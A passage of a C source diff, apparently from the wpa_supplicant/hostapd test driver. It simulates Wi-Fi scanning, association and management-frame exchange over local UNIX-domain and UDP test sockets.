sha1_prf((const u8 *) ifname, os_strlen(ifname), + "test mac addr generation", + NULL, 0, drv->own_addr + 1, ETH_ALEN - 1); + + return drv; +} + + +static void * test_driver_init(struct hostapd_data *hapd, + struct wpa_init_params *params) +{ + struct wpa_driver_test_data *drv; + struct sockaddr_un addr_un; + struct sockaddr_in addr_in; + struct sockaddr *addr; + socklen_t alen; + struct test_driver_bss *bss; + + drv = test_alloc_data(hapd, params->ifname); + if (drv == NULL) + return NULL; + drv->ap = 1; + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + drv->global = params->global_priv; + + bss->bss_ctx = hapd; + os_memcpy(bss->bssid, drv->own_addr, ETH_ALEN); + os_memcpy(params->own_addr, drv->own_addr, ETH_ALEN); + + if (params->test_socket) { + if (os_strlen(params->test_socket) >= + sizeof(addr_un.sun_path)) { + printf("Too long test_socket path\n"); + wpa_driver_test_deinit(bss); + return NULL; + } + if (strncmp(params->test_socket, "DIR:", 4) == 0) { + size_t len = strlen(params->test_socket) + 30; + drv->test_dir = os_strdup(params->test_socket + 4); + drv->own_socket_path = os_malloc(len); + if (drv->own_socket_path) { + snprintf(drv->own_socket_path, len, + "%s/AP-" MACSTR, + params->test_socket + 4, + MAC2STR(params->own_addr)); + } + } else if (strncmp(params->test_socket, "UDP:", 4) == 0) { + drv->udp_port = atoi(params->test_socket + 4); + } else { + drv->own_socket_path = os_strdup(params->test_socket); + } + if (drv->own_socket_path == NULL && drv->udp_port == 0) { + wpa_driver_test_deinit(bss); + return NULL; + } + + drv->test_socket = socket(drv->udp_port ? PF_INET : PF_UNIX, + SOCK_DGRAM, 0); + if (drv->test_socket < 0) { + perror("socket"); + wpa_driver_test_deinit(bss); + return NULL; + } + + if (drv->udp_port) { + os_memset(&addr_in, 0, sizeof(addr_in)); + addr_in.sin_family = AF_INET; + addr_in.sin_port = htons(drv->udp_port); + addr = (struct sockaddr *) &addr_in; + alen = sizeof(addr_in); + } else { + os_memset(&addr_un, 0, sizeof(addr_un)); + addr_un.sun_family = AF_UNIX; + os_strlcpy(addr_un.sun_path, drv->own_socket_path, + sizeof(addr_un.sun_path)); + addr = (struct sockaddr *) &addr_un; + alen = sizeof(addr_un); + } + if (bind(drv->test_socket, addr, alen) < 0) { + perror("test-driver-init: bind(PF_UNIX)"); + close(drv->test_socket); + if (drv->own_socket_path) + unlink(drv->own_socket_path); + wpa_driver_test_deinit(bss); + return NULL; + } + eloop_register_read_sock(drv->test_socket, + test_driver_receive_unix, drv, NULL); + } else + drv->test_socket = -1; + + return bss; +} + + +static void wpa_driver_test_poll(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_driver_test_data *drv = eloop_ctx; + +#ifdef DRIVER_TEST_UNIX + if (drv->associated && drv->hostapd_addr_set) { + struct stat st; + if (stat(drv->hostapd_addr.sun_path, &st) < 0) { + wpa_printf(MSG_DEBUG, "%s: lost connection to AP: %s", + __func__, strerror(errno)); + drv->associated = 0; + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, NULL); + } + } +#endif /* DRIVER_TEST_UNIX */ + + eloop_register_timeout(1, 0, wpa_driver_test_poll, drv, NULL); +} + + +static void wpa_driver_test_scan_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_driver_test_data *drv = eloop_ctx; + wpa_printf(MSG_DEBUG, "Scan timeout - try to get results"); + if (drv->pending_p2p_scan && drv->p2p) { +#ifdef CONFIG_P2P + size_t i; + struct os_time now; + os_get_time(&now); + for (i = 0; i < drv->num_scanres; i++) { + struct wpa_scan_res *bss = drv->scanres[i]; + if (p2p_scan_res_handler(drv->p2p, bss->bssid, + bss->freq, &now, bss->level, + (const u8 *) (bss + 1), + bss->ie_len) > 0) + return; + } + p2p_scan_res_handled(drv->p2p); +#endif /* CONFIG_P2P */ + return; + } + wpa_supplicant_event(timeout_ctx, EVENT_SCAN_RESULTS, NULL); +} + + +#ifdef DRIVER_TEST_UNIX +static void wpa_driver_scan_dir(struct wpa_driver_test_data *drv, + const char *path) +{ + struct dirent *dent; + DIR *dir; + struct sockaddr_un addr; + char cmd[512], *pos, *end; + int ret; + + dir = opendir(path); + if (dir == NULL) + return; + + end = cmd + sizeof(cmd); + pos = cmd; + ret = os_snprintf(pos, end - pos, "SCAN " MACSTR, + MAC2STR(drv->own_addr)); + if (ret >= 0 && ret < end - pos) + pos += ret; + if (drv->probe_req_ie) { + ret = os_snprintf(pos, end - pos, " "); + if (ret >= 0 && ret < end - pos) + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, drv->probe_req_ie, + drv->probe_req_ie_len); + } + if (drv->probe_req_ssid_len) { + /* Add SSID IE */ + ret = os_snprintf(pos, end - pos, "%02x%02x", + WLAN_EID_SSID, + (unsigned int) drv->probe_req_ssid_len); + if (ret >= 0 && ret < end - pos) + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, drv->probe_req_ssid, + drv->probe_req_ssid_len); + } + end[-1] = '\0'; + + while ((dent = readdir(dir))) { + if (os_strncmp(dent->d_name, "AP-", 3) != 0 && + os_strncmp(dent->d_name, "STA-", 4) != 0) + continue; + if (drv->own_socket_path) { + size_t olen, dlen; + olen = os_strlen(drv->own_socket_path); + dlen = os_strlen(dent->d_name); + if (olen >= dlen && + os_strcmp(dent->d_name, + drv->own_socket_path + olen - dlen) == 0) + continue; + } + wpa_printf(MSG_DEBUG, "%s: SCAN %s", __func__, dent->d_name); + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_snprintf(addr.sun_path, sizeof(addr.sun_path), "%s/%s", + path, dent->d_name); + + if (sendto(drv->test_socket, cmd, os_strlen(cmd), 0, + (struct sockaddr *) &addr, sizeof(addr)) < 0) { + perror("sendto(test_socket)"); + } + } + closedir(dir); +} +#endif /* DRIVER_TEST_UNIX */ + + +static int wpa_driver_test_scan(void *priv, + struct wpa_driver_scan_params *params) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + size_t i; + + wpa_printf(MSG_DEBUG, "%s: priv=%p", __func__, priv); + + os_free(drv->probe_req_ie); + if (params->extra_ies) { + drv->probe_req_ie = os_malloc(params->extra_ies_len); + if (drv->probe_req_ie == NULL) { + drv->probe_req_ie_len = 0; + return -1; + } + os_memcpy(drv->probe_req_ie, params->extra_ies, + params->extra_ies_len); + drv->probe_req_ie_len = params->extra_ies_len; + } else { + drv->probe_req_ie = NULL; + drv->probe_req_ie_len = 0; + } + + for (i = 0; i < params->num_ssids; i++) + wpa_hexdump(MSG_DEBUG, "Scan SSID", + params->ssids[i].ssid, params->ssids[i].ssid_len); + drv->probe_req_ssid_len = 0; + if (params->num_ssids) { + os_memcpy(drv->probe_req_ssid, params->ssids[0].ssid, + params->ssids[0].ssid_len); + drv->probe_req_ssid_len = params->ssids[0].ssid_len; + } + wpa_hexdump(MSG_DEBUG, "Scan extra IE(s)", + params->extra_ies, params->extra_ies_len); + + drv->num_scanres = 0; + +#ifdef DRIVER_TEST_UNIX + if (drv->test_socket >= 0 && drv->test_dir) + wpa_driver_scan_dir(drv, drv->test_dir); + + if (drv->test_socket >= 0 && drv->hostapd_addr_set && + sendto(drv->test_socket, "SCAN", 4, 0, + (struct sockaddr *) &drv->hostapd_addr, + sizeof(drv->hostapd_addr)) < 0) { + perror("sendto(test_socket)"); + } +#endif /* DRIVER_TEST_UNIX */ + + if (drv->test_socket >= 0 && drv->hostapd_addr_udp_set && + sendto(drv->test_socket, "SCAN", 4, 0, + (struct sockaddr *) &drv->hostapd_addr_udp, + sizeof(drv->hostapd_addr_udp)) < 0) { + perror("sendto(test_socket)"); + } + + eloop_cancel_timeout(wpa_driver_test_scan_timeout, drv, drv->ctx); + eloop_register_timeout(1, 0, wpa_driver_test_scan_timeout, drv, + drv->ctx); + return 0; +} + + +static struct wpa_scan_results * wpa_driver_test_get_scan_results2(void *priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct wpa_scan_results *res; + size_t i; + + res = os_zalloc(sizeof(*res)); + if (res == NULL) + return NULL; + + res->res = os_calloc(drv->num_scanres, sizeof(struct wpa_scan_res *)); + if (res->res == NULL) { + os_free(res); + return NULL; + } + + for (i = 0; i < drv->num_scanres; i++) { + struct wpa_scan_res *r; + if (drv->scanres[i] == NULL) + continue; + r = os_malloc(sizeof(*r) + drv->scanres[i]->ie_len); + if (r == NULL) + break; + os_memcpy(r, drv->scanres[i], + sizeof(*r) + drv->scanres[i]->ie_len); + res->res[res->num++] = r; + } + + return res; +} + + +static int wpa_driver_test_set_key(const char *ifname, void *priv, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + wpa_printf(MSG_DEBUG, "%s: ifname=%s priv=%p alg=%d key_idx=%d " + "set_tx=%d", + __func__, ifname, priv, alg, key_idx, set_tx); + if (addr) + wpa_printf(MSG_DEBUG, " addr=" MACSTR, MAC2STR(addr)); + if (seq) + wpa_hexdump(MSG_DEBUG, " seq", seq, seq_len); + if (key) + wpa_hexdump_key(MSG_DEBUG, " key", key, key_len); + return 0; +} + + +static int wpa_driver_update_mode(struct wpa_driver_test_data *drv, int ap) +{ + if (ap && !drv->ap) { + wpa_driver_test_close_test_socket(drv); + wpa_driver_test_attach(drv, drv->test_dir, 1); + drv->ap = 1; + } else if (!ap && drv->ap) { + wpa_driver_test_close_test_socket(drv); + wpa_driver_test_attach(drv, drv->test_dir, 0); + drv->ap = 0; + } + + return 0; +} + + +static int wpa_driver_test_associate( + void *priv, struct wpa_driver_associate_params *params) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s: priv=%p freq=%d pairwise_suite=%d " + "group_suite=%d key_mgmt_suite=%d auth_alg=%d mode=%d", + __func__, priv, params->freq, params->pairwise_suite, + params->group_suite, params->key_mgmt_suite, + params->auth_alg, params->mode); + wpa_driver_update_mode(drv, params->mode == IEEE80211_MODE_AP); + if (params->bssid) { + wpa_printf(MSG_DEBUG, " bssid=" MACSTR, + MAC2STR(params->bssid)); + } + if (params->ssid) { + wpa_hexdump_ascii(MSG_DEBUG, " ssid", + params->ssid, params->ssid_len); + } + if (params->wpa_ie) { + wpa_hexdump(MSG_DEBUG, " wpa_ie", + params->wpa_ie, params->wpa_ie_len); + drv->assoc_wpa_ie_len = params->wpa_ie_len; + if (drv->assoc_wpa_ie_len > sizeof(drv->assoc_wpa_ie)) + drv->assoc_wpa_ie_len = sizeof(drv->assoc_wpa_ie); + os_memcpy(drv->assoc_wpa_ie, params->wpa_ie, + drv->assoc_wpa_ie_len); + } else + drv->assoc_wpa_ie_len = 0; + + wpa_driver_update_mode(drv, params->mode == IEEE80211_MODE_AP); + + drv->ibss = params->mode == IEEE80211_MODE_IBSS; + dbss->privacy = params->key_mgmt_suite & + (WPA_KEY_MGMT_IEEE8021X | + WPA_KEY_MGMT_PSK | + WPA_KEY_MGMT_WPA_NONE | + WPA_KEY_MGMT_FT_IEEE8021X | + WPA_KEY_MGMT_FT_PSK | + WPA_KEY_MGMT_IEEE8021X_SHA256 | + WPA_KEY_MGMT_PSK_SHA256); + if (params->wep_key_len[params->wep_tx_keyidx]) + dbss->privacy = 1; + +#ifdef DRIVER_TEST_UNIX + if (drv->test_dir && params->bssid && + params->mode != IEEE80211_MODE_IBSS) { + os_memset(&drv->hostapd_addr, 0, sizeof(drv->hostapd_addr)); + drv->hostapd_addr.sun_family = AF_UNIX; + os_snprintf(drv->hostapd_addr.sun_path, + sizeof(drv->hostapd_addr.sun_path), + "%s/AP-" MACSTR, + drv->test_dir, MAC2STR(params->bssid)); + drv->hostapd_addr_set = 1; + } +#endif /* DRIVER_TEST_UNIX */ + + if (params->mode == IEEE80211_MODE_AP) { + os_memcpy(dbss->ssid, params->ssid, params->ssid_len); + dbss->ssid_len = params->ssid_len; + os_memcpy(dbss->bssid, drv->own_addr, ETH_ALEN); + if (params->wpa_ie && params->wpa_ie_len) { + dbss->ie = os_malloc(params->wpa_ie_len); + if (dbss->ie) { + os_memcpy(dbss->ie, params->wpa_ie, + params->wpa_ie_len); + dbss->ielen = params->wpa_ie_len; + } + } + } else if (drv->test_socket >= 0 && + (drv->hostapd_addr_set || drv->hostapd_addr_udp_set)) { + char cmd[200], *pos, *end; + int ret; + end = cmd + sizeof(cmd); + pos = cmd; + ret = os_snprintf(pos, end - pos, "ASSOC " MACSTR " ", + MAC2STR(drv->own_addr)); + if (ret >= 0 && ret < end - pos) + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, params->ssid, + params->ssid_len); + ret = os_snprintf(pos, end - pos, " "); + if (ret >= 0 && ret < end - pos) + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, params->wpa_ie, + params->wpa_ie_len); + end[-1] = '\0'; +#ifdef DRIVER_TEST_UNIX + if (drv->hostapd_addr_set && + sendto(drv->test_socket, cmd, os_strlen(cmd), 0, + (struct sockaddr *) &drv->hostapd_addr, + sizeof(drv->hostapd_addr)) < 0) { + perror("sendto(test_socket)"); + return -1; + } +#endif /* DRIVER_TEST_UNIX */ + if (drv->hostapd_addr_udp_set && + sendto(drv->test_socket, cmd, os_strlen(cmd), 0, + (struct sockaddr *) &drv->hostapd_addr_udp, + sizeof(drv->hostapd_addr_udp)) < 0) { + perror("sendto(test_socket)"); + return -1; + } + + os_memcpy(dbss->ssid, params->ssid, params->ssid_len); + dbss->ssid_len = params->ssid_len; + } else { + drv->associated = 1; + if (params->mode == IEEE80211_MODE_IBSS) { + os_memcpy(dbss->ssid, params->ssid, params->ssid_len); + dbss->ssid_len = params->ssid_len; + if (params->bssid) + os_memcpy(dbss->bssid, params->bssid, + ETH_ALEN); + else { + os_get_random(dbss->bssid, ETH_ALEN); + dbss->bssid[0] &= ~0x01; + dbss->bssid[0] |= 0x02; + } + } + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, NULL); + } + + return 0; +} + + +static int wpa_driver_test_get_bssid(void *priv, u8 *bssid) +{ + struct test_driver_bss *dbss = priv; + os_memcpy(bssid, dbss->bssid, ETH_ALEN); + return 0; +} + + +static int wpa_driver_test_get_ssid(void *priv, u8 *ssid) +{ + struct test_driver_bss *dbss = priv; + os_memcpy(ssid, dbss->ssid, 32); + return dbss->ssid_len; +} + + +static int wpa_driver_test_send_disassoc(struct wpa_driver_test_data *drv) +{ +#ifdef DRIVER_TEST_UNIX + if (drv->test_socket >= 0 && + sendto(drv->test_socket, "DISASSOC", 8, 0, + (struct sockaddr *) &drv->hostapd_addr, + sizeof(drv->hostapd_addr)) < 0) { + perror("sendto(test_socket)"); + return -1; + } +#endif /* DRIVER_TEST_UNIX */ + if (drv->test_socket >= 0 && drv->hostapd_addr_udp_set && + sendto(drv->test_socket, "DISASSOC", 8, 0, + (struct sockaddr *) &drv->hostapd_addr_udp, + sizeof(drv->hostapd_addr_udp)) < 0) { + perror("sendto(test_socket)"); + return -1; + } + return 0; +} + + +static int wpa_driver_test_deauthenticate(void *priv, const u8 *addr, + int reason_code) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + wpa_printf(MSG_DEBUG, "%s addr=" MACSTR " reason_code=%d", + __func__, MAC2STR(addr), reason_code); + os_memset(dbss->bssid, 0, ETH_ALEN); + drv->associated = 0; + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, NULL); + return wpa_driver_test_send_disassoc(drv); +} + + +static const u8 * wpa_scan_get_ie(const struct wpa_scan_res *res, u8 ie) +{ + const u8 *end, *pos; + + pos = (const u8 *) (res + 1); + end = pos + res->ie_len; + + while (pos + 1 < end) { + if (pos + 2 + pos[1] > end) + break; + if (pos[0] == ie) + return pos; + pos += 2 + pos[1]; + } + + return NULL; +} + + +static void wpa_driver_test_scanresp(struct wpa_driver_test_data *drv, + struct sockaddr *from, + socklen_t fromlen, + const char *data) +{ + struct wpa_scan_res *res; + const char *pos, *pos2; + size_t len; + u8 *ie_pos, *ie_start, *ie_end; +#define MAX_IE_LEN 1000 + const u8 *ds_params; + + wpa_printf(MSG_DEBUG, "test_driver: SCANRESP %s", data); + if (drv->num_scanres >= MAX_SCAN_RESULTS) { + wpa_printf(MSG_DEBUG, "test_driver: No room for the new scan " + "result"); + return; + } + + /* SCANRESP BSSID SSID IEs */ + + res = os_zalloc(sizeof(*res) + MAX_IE_LEN); + if (res == NULL) + return; + ie_start = ie_pos = (u8 *) (res + 1); + ie_end = ie_pos + MAX_IE_LEN; + + if (hwaddr_aton(data, res->bssid)) { + wpa_printf(MSG_DEBUG, "test_driver: invalid BSSID in scanres"); + os_free(res); + return; + } + + pos = data + 17; + while (*pos == ' ') + pos++; + pos2 = os_strchr(pos, ' '); + if (pos2 == NULL) { + wpa_printf(MSG_DEBUG, "test_driver: invalid SSID termination " + "in scanres"); + os_free(res); + return; + } + len = (pos2 - pos) / 2; + if (len > 32) + len = 32; + /* + * Generate SSID IE from the SSID field since this IE is not included + * in the main IE field. + */ + *ie_pos++ = WLAN_EID_SSID; + *ie_pos++ = len; + if (hexstr2bin(pos, ie_pos, len) < 0) { + wpa_printf(MSG_DEBUG, "test_driver: invalid SSID in scanres"); + os_free(res); + return; + } + ie_pos += len; + + pos = pos2 + 1; + pos2 = os_strchr(pos, ' '); + if (pos2 == NULL) + len = os_strlen(pos) / 2; + else + len = (pos2 - pos) / 2; + if ((int) len > ie_end - ie_pos) + len = ie_end - ie_pos; + if (hexstr2bin(pos, ie_pos, len) < 0) { + wpa_printf(MSG_DEBUG, "test_driver: invalid IEs in scanres"); + os_free(res); + return; + } + ie_pos += len; + res->ie_len = ie_pos - ie_start; + + if (pos2) { + pos = pos2 + 1; + while (*pos == ' ') + pos++; + if (os_strstr(pos, "PRIVACY")) + res->caps |= IEEE80211_CAP_PRIVACY; + if (os_strstr(pos, "IBSS")) + res->caps |= IEEE80211_CAP_IBSS; + } + + ds_params = wpa_scan_get_ie(res, WLAN_EID_DS_PARAMS); + if (ds_params && ds_params[1] > 0) { + if (ds_params[2] >= 1 && ds_params[2] <= 13) + res->freq = 2407 + ds_params[2] * 5; + } + + os_free(drv->scanres[drv->num_scanres]); + drv->scanres[drv->num_scanres++] = res; +} + + +static void wpa_driver_test_assocresp(struct wpa_driver_test_data *drv, + struct sockaddr *from, + socklen_t fromlen, + const char *data) +{ + struct test_driver_bss *bss; + + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + + /* ASSOCRESP BSSID */ + if (hwaddr_aton(data, bss->bssid)) { + wpa_printf(MSG_DEBUG, "test_driver: invalid BSSID in " + "assocresp"); + } + if (drv->use_associnfo) { + union wpa_event_data event; + os_memset(&event, 0, sizeof(event)); + event.assoc_info.req_ies = drv->assoc_wpa_ie; + event.assoc_info.req_ies_len = drv->assoc_wpa_ie_len; + wpa_supplicant_event(drv->ctx, EVENT_ASSOCINFO, &event); + } + drv->associated = 1; + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, NULL); +} + + +static void wpa_driver_test_disassoc(struct wpa_driver_test_data *drv, + struct sockaddr *from, + socklen_t fromlen) +{ + drv->associated = 0; + wpa_supplicant_event(drv->ctx, EVENT_DISASSOC, NULL); +} + + +static void wpa_driver_test_eapol(struct wpa_driver_test_data *drv, + struct sockaddr *from, + socklen_t fromlen, + const u8 *data, size_t data_len) +{ + const u8 *src; + struct test_driver_bss *bss; + + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + + if (data_len > 14) { + /* Skip Ethernet header */ + src = data + ETH_ALEN; + data += 14; + data_len -= 14; + } else + src = bss->bssid; + + drv_event_eapol_rx(drv->ctx, src, data, data_len); +} + + +static void wpa_driver_test_mlme(struct wpa_driver_test_data *drv, + struct sockaddr *from, + socklen_t fromlen, + const u8 *data, size_t data_len) +{ + int freq = 0, own_freq; + union wpa_event_data event; + const struct ieee80211_mgmt *mgmt; + u16 fc; + struct test_driver_bss *bss; + + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + if (data_len > 6 && os_memcmp(data, "freq=", 5) == 0) { + size_t pos; + for (pos = 5; pos < data_len; pos++) { + if (data[pos] == ' ') + break; + } + if (pos < data_len) { + freq = atoi((const char *) &data[5]); + wpa_printf(MSG_DEBUG, "test_driver(%s): MLME RX on " + "freq %d MHz", bss->ifname, freq); + pos++; + data += pos; + data_len -= pos; + } + } + + if (drv->remain_on_channel_freq) + own_freq = drv->remain_on_channel_freq; + else + own_freq = drv->current_freq; + + if (freq && own_freq && freq != own_freq) { + wpa_printf(MSG_DEBUG, "test_driver(%s): Ignore MLME RX on " + "another frequency %d MHz (own %d MHz)", + bss->ifname, freq, own_freq); + return; + } + + os_memset(&event, 0, sizeof(event)); + event.mlme_rx.buf = data; + event.mlme_rx.len = data_len; + event.mlme_rx.freq = freq; + wpa_supplicant_event(drv->ctx, EVENT_MLME_RX, &event); + + mgmt = (const struct ieee80211_mgmt *) data; + fc = le_to_host16(mgmt->frame_control); + + if (drv->probe_req_report && data_len >= 24) { + if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_PROBE_REQ) { + os_memset(&event, 0, sizeof(event)); + event.rx_probe_req.sa = mgmt->sa; + event.rx_probe_req.da = mgmt->da; + event.rx_probe_req.bssid = mgmt->bssid; + event.rx_probe_req.ie = mgmt->u.probe_req.variable; + event.rx_probe_req.ie_len = + data_len - (mgmt->u.probe_req.variable - data); + wpa_supplicant_event(drv->ctx, EVENT_RX_PROBE_REQ, + &event); +#ifdef CONFIG_P2P + if (drv->p2p) + p2p_probe_req_rx(drv->p2p, mgmt->sa, + mgmt->da, mgmt->bssid, + event.rx_probe_req.ie, + event.rx_probe_req.ie_len); +#endif /* CONFIG_P2P */ + } + } + +#ifdef CONFIG_P2P + if (drv->p2p && + WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_ACTION) { + size_t hdr_len; + hdr_len = (const u8 *) + &mgmt->u.action.u.vs_public_action.action - data; + p2p_rx_action(drv->p2p, mgmt->da, mgmt->sa, mgmt->bssid, + mgmt->u.action.category, + &mgmt->u.action.u.vs_public_action.action, + data_len - hdr_len, freq); + } +#endif /* CONFIG_P2P */ + +} + + +static void wpa_driver_test_scan_cmd(struct wpa_driver_test_data *drv, + struct sockaddr *from, + socklen_t fromlen, + const u8 *data, size_t data_len) +{ + char buf[512], *pos, *end; + int ret; + struct test_driver_bss *bss; + + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + + /* data: optional [ STA-addr | ' ' | IEs(hex) ] */ +#ifdef CONFIG_P2P + if (drv->probe_req_report && drv->p2p && data_len) { + const char *d = (const char *) data; + u8 sa[ETH_ALEN]; + u8 ie[512]; + size_t ielen; + + if (hwaddr_aton(d, sa)) + return; + d += 18; + while (*d == ' ') + d++; + ielen = os_strlen(d) / 2; + if (ielen > sizeof(ie)) + ielen = sizeof(ie); + if (hexstr2bin(d, ie, ielen) < 0) + ielen = 0; + drv->probe_from = from; + drv->probe_from_len = fromlen; + p2p_probe_req_rx(drv->p2p, sa, NULL, NULL, ie, ielen); + drv->probe_from = NULL; + } +#endif /* CONFIG_P2P */ + + if (!drv->ibss) + return; + + pos = buf; + end = buf + sizeof(buf); + + /* reply: SCANRESP BSSID SSID IEs */ + ret = snprintf(pos, end - pos, "SCANRESP " MACSTR " ", + MAC2STR(bss->bssid)); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, + bss->ssid, bss->ssid_len); + ret = snprintf(pos, end - pos, " "); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + pos += wpa_snprintf_hex(pos, end - pos, drv->assoc_wpa_ie, + drv->assoc_wpa_ie_len); + + if (bss->privacy) { + ret = snprintf(pos, end - pos, " PRIVACY"); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + } + + ret = snprintf(pos, end - pos, " IBSS"); + if (ret < 0 || ret >= end - pos) + return; + pos += ret; + + sendto(drv->test_socket, buf, pos - buf, 0, + (struct sockaddr *) from, fromlen); +} + + +static void wpa_driver_test_receive_unix(int sock, void *eloop_ctx, + void *sock_ctx) +{ + struct wpa_driver_test_data *drv = eloop_ctx; + char *buf; + int res; + struct sockaddr_storage from; + socklen_t fromlen = sizeof(from); + const size_t buflen = 2000; + + if (drv->ap) { + test_driver_receive_unix(sock, eloop_ctx, sock_ctx); + return; + } + + buf = os_malloc(buflen); + if (buf == NULL) + return; + res = recvfrom(sock, buf, buflen - 1, 0, + (struct sockaddr *) &from, &fromlen); + if (res < 0) { + perror("recvfrom(test_socket)"); + os_free(buf); + return; + } + buf[res] = '\0'; + + wpa_printf(MSG_DEBUG, "test_driver: received %u bytes", res); + + if (os_strncmp(buf, "SCANRESP ", 9) == 0) { + wpa_driver_test_scanresp(drv, (struct sockaddr *) &from, + fromlen, buf + 9); + } else if (os_strncmp(buf, "ASSOCRESP ", 10) == 0) { + wpa_driver_test_assocresp(drv, (struct sockaddr *) &from, + fromlen, buf + 10); + } else if (os_strcmp(buf, "DISASSOC") == 0) { + wpa_driver_test_disassoc(drv, (struct sockaddr *) &from, + fromlen); + } else if (os_strcmp(buf, "DEAUTH") == 0) { + wpa_driver_test_disassoc(drv, (struct sockaddr *) &from, + fromlen); + } else if (os_strncmp(buf, "EAPOL ", 6) == 0) { + wpa_driver_test_eapol(drv, (struct sockaddr *) &from, fromlen, + (const u8 *) buf + 6, res - 6); + } else if (os_strncmp(buf, "MLME ", 5) == 0) { + wpa_driver_test_mlme(drv, (struct sockaddr *) &from, fromlen, + (const u8 *) buf + 5, res - 5); + } else if (os_strncmp(buf, "SCAN ", 5) == 0) { + wpa_driver_test_scan_cmd(drv, (struct sockaddr *) &from, + fromlen, + (const u8 *) buf + 5, res - 5); + } else { + wpa_hexdump_ascii(MSG_DEBUG, "Unknown test_socket command", + (u8 *) buf, res); + } + os_free(buf); +} + + +static void * wpa_driver_test_init2(void *ctx, const char *ifname, + void *global_priv) +{ + struct wpa_driver_test_data *drv; + struct wpa_driver_test_global *global = global_priv; + struct test_driver_bss *bss; + + drv = test_alloc_data(ctx, ifname); + if (drv == NULL) + return NULL; + bss = dl_list_first(&drv->bss, struct test_driver_bss, list); + drv->global = global_priv; + drv->test_socket = -1; + + /* Set dummy BSSID and SSID for testing. */ + bss->bssid[0] = 0x02; + bss->bssid[1] = 0x00; + bss->bssid[2] = 0x00; + bss->bssid[3] = 0x00; + bss->bssid[4] = 0x00; + bss->bssid[5] = 0x01; + os_memcpy(bss->ssid, "test", 5); + bss->ssid_len = 4; + + if (global->bss_add_used) { + os_memcpy(drv->own_addr, global->req_addr, ETH_ALEN); + global->bss_add_used = 0; + } + + eloop_register_timeout(1, 0, wpa_driver_test_poll, drv, NULL); + + return bss; +} + + +static void wpa_driver_test_close_test_socket(struct wpa_driver_test_data *drv) +{ + if (drv->test_socket >= 0) { + eloop_unregister_read_sock(drv->test_socket); + close(drv->test_socket); + drv->test_socket = -1; + } + + if (drv->own_socket_path) { + unlink(drv->own_socket_path); + os_free(drv->own_socket_path); + drv->own_socket_path = NULL; + } +} + + +static void wpa_driver_test_deinit(void *priv) +{ + struct test_driver_bss *dbss = priv; + struct wpa_driver_test_data *drv = dbss->drv; + struct test_client_socket *cli, *prev; + int i; + +#ifdef CONFIG_P2P + if (drv->p2p) + p2p_deinit(drv->p2p); + wpabuf_free(drv->pending_action_tx); +#endif /* CONFIG_P2P */ + + cli = drv->cli; + while (cli) { + prev = cli; + cli = cli->next; + os_free(prev); + } + +#ifdef HOSTAPD + /* There should be only one BSS remaining at this point. */ + if (dl_list_len(&drv->bss) != 1) + wpa_printf(MSG_ERROR, "%s: %u remaining BSS entries", + __func__, dl_list_len(&drv->bss)); +#endif /* HOSTAPD */ + + test_driver_free_bsses(drv); + + wpa_driver_test_close_test_socket(drv); + eloop_cancel_timeout(wpa_driver_test_scan_timeout, drv, drv->ctx); + eloop_cancel_timeout(wpa_driver_test_poll, drv, NULL); + eloop_cancel_timeout(test_remain_on_channel_timeout, drv, NULL); + os_free(drv->test_dir); + for (i = 0; i < MAX_SCAN_RESULTS; i++) + os_free(drv->scanres[i]); + os_free(drv->probe_req_ie); + wpa_trace_remove_ref(drv, ctx, drv->ctx); + os_free(drv); +} + + +static int wpa_driver_test_attach(struct wpa_driver_test_data *drv, + const char *dir, int ap) +{ +#ifdef DRIVER_TEST_UNIX + static unsigned int counter = 0; + struct sockaddr_un addr; + size_t len; + + os_free(drv->own_socket_path); + if (dir) { + len = os_strlen(dir) + 30; + drv->own_socket_path = os_malloc(len); + if (drv->own_socket_path == NULL) + return -1; + os_snprintf(drv->own_socket_path, len, "%s/%s-" MACSTR, + dir, ap ? "AP" : "STA", MAC2STR(drv->own_addr)); + } else { + drv->own_socket_path = os_malloc(100); + if (drv->own_socket_path == NULL) + return -1; + os_snprintf(drv->own_socket_path, 100, + "/tmp/wpa_supplicant_test-%d-%d", + getpid(), counter++); + } + + drv->test_socket = socket(PF_UNIX, SOCK_DGRAM, 0); + if (drv->test_socket < 0) { + perror("socket(PF_UNIX)"); + os_free(drv->own_socket_path); + drv->own_socket_path = NULL; + return -1; + } + + os_memset(&addr, 0, sizeof(addr)); + addr.sun_family = AF_UNIX; + os_strlcpy(addr.sun_path, drv->own_socket_path, sizeof(addr.sun_path)); + if (bind(drv->test_socket, (struct sockaddr *) &addr, + sizeof(addr)) < 0) { + perror("test-driver-attach: bind(PF_UNIX)"); + close(drv->test_socket); + unlink(drv->own_socket_path); + os_free(drv->own_socket_path); + drv->own_socket_path = NULL; + return -1; + } + + 